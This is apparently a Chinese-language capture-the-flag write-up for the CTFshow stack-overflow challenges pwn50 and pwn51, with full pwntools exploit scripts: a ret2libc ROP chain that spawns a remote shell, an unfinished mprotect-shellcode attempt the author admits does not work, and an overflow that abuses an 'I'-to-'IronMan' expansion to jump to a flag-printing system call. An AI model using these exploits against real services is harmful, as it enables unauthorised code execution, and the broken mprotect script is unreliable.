pwn50
[*] 'C:\\Users\\26597\\Desktop\\pwn50'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
看到puts函数
提示libc版本
猜是ret2libc的64位
套板子
exp:
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28119)
#io=process("./pwn50")
elf = ELF('./pwn50')
# libc= ELF(elf.libc.path)
ret_add =0x00000000004004fe
pop_rdi =0x00000000004007e3
main_add =0x0000000000400745
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x20
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'Hello CTFshow', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr) # libc6_2.27-0ubuntu2_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'Hello CTFshow', payload2)
io.interactive()
这里我有个很奇怪的点,exp拿到了flag但是完全没办法交互(orz,莫名有种邪道速通の感觉
貌似还可以打mprotect
mprotect
pwndbg> disass mprotect
Dump of assembler code for function mprotect:
0x00007ffff7afd7e0 <+0>: mov eax,0xa
0x00007ffff7afd7e5 <+5>: syscall
0x00007ffff7afd7e7 <+7>: cmp rax,0xfffffffffffff001
0x00007ffff7afd7ed <+13>: jae 0x7ffff7afd7f0 <mprotect+16>
0x00007ffff7afd7ef <+15>: ret
0x00007ffff7afd7f0 <+16>: mov rcx,QWORD PTR [rip+0x2cf671] # 0x7ffff7dcce68
0x00007ffff7afd7f7 <+23>: neg eax
0x00007ffff7afd7f9 <+25>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7afd7fc <+28>: or rax,0xffffffffffffffff
0x00007ffff7afd800 <+32>: ret
End of assembler dump.
找到mprotect函数位置
找寄存器位置
0x00000000004007dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007e0 : pop r14 ; pop r15 ; ret
0x00000000004007e2 : pop r15 ; ret
0x0000000000400634 : pop rbp ; jmp 0x4005c0
0x00000000004005ab : pop rbp ; mov edi, 0x602048 ; jmp rax
0x00000000004007db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x00000000004007e3 : pop rdi ; ret
0x00000000004007e1 : pop rsi ; pop r15 ; ret
0x00000000004007dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop相关的地址就这些
找三个pop带个ret即可
0x00000000004007e0 即为返回地址
现在再去找got表的位置
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
0000000000000028 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002c0 000002c0
00000000000000d8 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400398 00000398
000000000000005c 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 00000000004003f4 000003f4
0000000000000012 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400408 00000408
0000000000000020 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400428 00000428
0000000000000060 0000000000000018 A 5 0 8
[10] .rela.plt RELA 0000000000400488 00000488
0000000000000060 0000000000000018 AI 5 22 8
[11] .init PROGBITS 00000000004004e8 000004e8
0000000000000017 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400500 00000500
0000000000000050 0000000000000010 AX 0 0 16
[13] .text PROGBITS 0000000000400550 00000550
00000000000002a2 0000000000000000 AX 0 0 16
[14] .fini PROGBITS 00000000004007f4 000007f4
0000000000000009 0000000000000000 AX 0 0 4
[15] .rodata PROGBITS 0000000000400800 00000800
000000000000053f 0000000000000000 A 0 0 8
[16] .eh_frame_hdr PROGBITS 0000000000400d40 00000d40
0000000000000054 0000000000000000 A 0 0 4
[17] .eh_frame PROGBITS 0000000000400d98 00000d98
0000000000000160 0000000000000000 A 0 0 8
[18] .init_array INIT_ARRAY 0000000000601e10 00001e10
0000000000000008 0000000000000008 WA 0 0 8
[19] .fini_array FINI_ARRAY 0000000000601e18 00001e18
0000000000000008 0000000000000008 WA 0 0 8
[20] .dynamic DYNAMIC 0000000000601e20 00001e20
00000000000001d0 0000000000000010 WA 6 0 8
[21] .got PROGBITS 0000000000601ff0 00001ff0
0000000000000010 0000000000000008 WA 0 0 8
[22] .got.plt PROGBITS 0000000000602000 00002000
0000000000000038 0000000000000008 WA 0 0 8
[23] .data PROGBITS 0000000000602038 00002038
0000000000000010 0000000000000000 WA 0 0 8
[24] .bss NOBITS 0000000000602050 00002048
0000000000000020 0000000000000000 WA 0 0 16
[25] .comment PROGBITS 0000000000000000 00002048
0000000000000029 0000000000000001 MS 0 0 1
[26] .symtab SYMTAB 0000000000000000 00002078
0000000000000678 0000000000000018 27 43 8
[27] .strtab STRTAB 0000000000000000 000026f0
0000000000000239 0000000000000000 0 0 1
[28] .shstrtab STRTAB 0000000000000000 00002929
0000000000000103 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
位置为:0x0000000000602000
找到类read函数gets
0000000000400657
最后改出来的exp运行交互没结果,疑惑
之后再来仔细研究
待改exp:
# -*- coding: UTF-8 -*-
from pwn import *
u=remote("pwn.challenge.ctf.show",28162)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x20+8)
payload += p64(0x00007ffff7afd7e0) # mprotect函数地址
payload += p64(0x00000000004007e0) # 3 pop 1 ret地址
payload += p64(0x0000000000602000) # 需要修改的内存的起始地址
payload += p64(0x1000) # 修改内存空间的大小
payload += p64(0x7) # 需要赋予的权限
payload += p64(0x806bee0) # gets函数地址
payload += p64(0x0000000000602000) # gets函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p64(0x0000000000602000) # shellcode地址
payload += p64(len(shellcode))
u.sendline(payload)
u.sendline(shellcode)
u.interactive()
pwn51
32位
反编译后傻眼了
是C++
看不太懂,靠着string界面找到了主要函数sub_8049059
int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
初略理解之下,知道s就是要溢出的对象,认为偏移值就是char s[32]; // [esp+Ch] [ebp-6Ch] BYREF,也就是0x6C+4
string界面还能找到一条system指令
int sub_804902E()
{
return system("cat /ctfshow_flag");
}
初步尝试失败,虽然看着应该没什么问题
但是貌似有限制输入
所以尝试输入0x6C+4的‘a’就没办法输出够
看WP才知道主函数里面会把I换成IronMan
16个I的输入就能刚刚好变成112字节IronMan,完成溢出效果
然后后续跟一个system函数位置就好了
exp:
from pwn import *
u=remote("pwn.challenge.ctf.show",28223)
payload=b'I'*16+p32(0x0804902E)
#payload=b'I'*16+p32(0x08049042)
u.sendline(payload)
u.interactive()
此事在直接本地运行亦有记载(
ctfshow@ubuntu:~/Desktop/xd/LibcSearcher$ ./pwn51
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Who are you?
* *************************************
Who are you?
I
Wow!you are:IronMan